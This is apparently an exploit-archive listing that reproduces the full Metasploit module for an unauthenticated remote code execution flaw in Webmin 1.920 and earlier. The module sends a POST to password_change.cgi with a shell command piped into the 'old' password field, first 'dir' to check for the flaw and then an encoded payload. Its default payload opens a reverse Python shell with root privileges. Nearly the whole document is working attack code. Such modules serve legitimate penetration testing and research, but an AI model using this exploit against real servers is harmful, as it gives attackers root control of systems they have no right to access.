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Webmin 1.920 Remote Code Execution

Webmin 1.920 Remote Code Execution
Posted Aug 12, 2019
Authored by Ozkan Mustafa Akkus | Site metasploit.com

This Metasploit module exploits an arbitrary command execution vulnerability in Webmin versions 1.920 and below. If the password change module is turned on, the unauthenticated user can execute arbitrary commands with root privileges.

tags | exploit, arbitrary, root
MD5 | 01e03118e8b62b1a70c30e6db9eba033

Webmin 1.920 Remote Code Execution

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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'Webmin 1.920 Unauthenticated RCE',
'Description' => %q(
This module exploits an arbitrary command execution vulnerability in Webmin
1.920 and prior versions. If the password change module is turned on, the unathenticated user
can execute arbitrary commands with root privileges.

/////// This 0day has been published at DEFCON-AppSec Village. ///////

),
'Author' => [
'AkkuS <Özkan Mustafa Akkuş>' # Discovery & PoC & Metasploit module @ehakkus
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2019-'],
['URL', 'https://www.pentest.com.tr']
],
'Privileged' => true,
'Payload' =>
{
'DisableNops' => true,
'Space' => 512,
'Compat' =>
{
'PayloadType' => 'cmd'
}
},
'DefaultOptions' =>
{
'RPORT' => 10000,
'SSL' => false,
'PAYLOAD' => 'cmd/unix/reverse_python'
},
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Targets' => [['Webmin <= 1.910', {}]],
'DisclosureDate' => 'May 16 2019',
'DefaultTarget' => 0)
)
register_options [
OptString.new('TARGETURI', [true, 'Base path for Webmin application', '/'])
]
end

def peer
"#{ssl ? 'https://' : 'http://' }#{rhost}:#{rport}"
end
##
# Target and input verification
##
def check
# check passwd change priv
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, "password_change.cgi"),
'headers' =>
{
'Referer' => "#{peer}/session_login.cgi"
},
'cookie' => "redirect=1; testing=1; sid=x; sessiontest=1"
})

if res && res.code == 200 && res.body =~ /Failed/
res = send_request_cgi(
{
'method' => 'POST',
'cookie' => "redirect=1; testing=1; sid=x; sessiontest=1",
'ctype' => 'application/x-www-form-urlencoded',
'uri' => normalize_uri(target_uri.path, 'password_change.cgi'),
'headers' =>
{
'Referer' => "#{peer}/session_login.cgi"
},
'data' => "user=root&pam=&expired=2&old=AkkuS%7cdir%20&new1=akkuss&new2=akkuss"
})

if res && res.code == 200 && res.body =~ /password_change.cgi/
return CheckCode::Vulnerable
else
return CheckCode::Safe
end
else
return CheckCode::Safe
end
end

##
# Exploiting phase
##
def exploit

unless Exploit::CheckCode::Vulnerable == check
fail_with(Failure::NotVulnerable, 'Target is not vulnerable.')
end

command = payload.encoded
print_status("Attempting to execute the payload...")
handler
res = send_request_cgi(
{
'method' => 'POST',
'cookie' => "redirect=1; testing=1; sid=x; sessiontest=1",
'ctype' => 'application/x-www-form-urlencoded',
'uri' => normalize_uri(target_uri.path, 'password_change.cgi'),
'headers' =>
{
'Referer' => "#{peer}/session_login.cgi"
},
'data' => "user=root&pam=&expired=2&old=AkkuS%7c#{command}%20&new1=akkuss&new2=akkuss"
})

end
end

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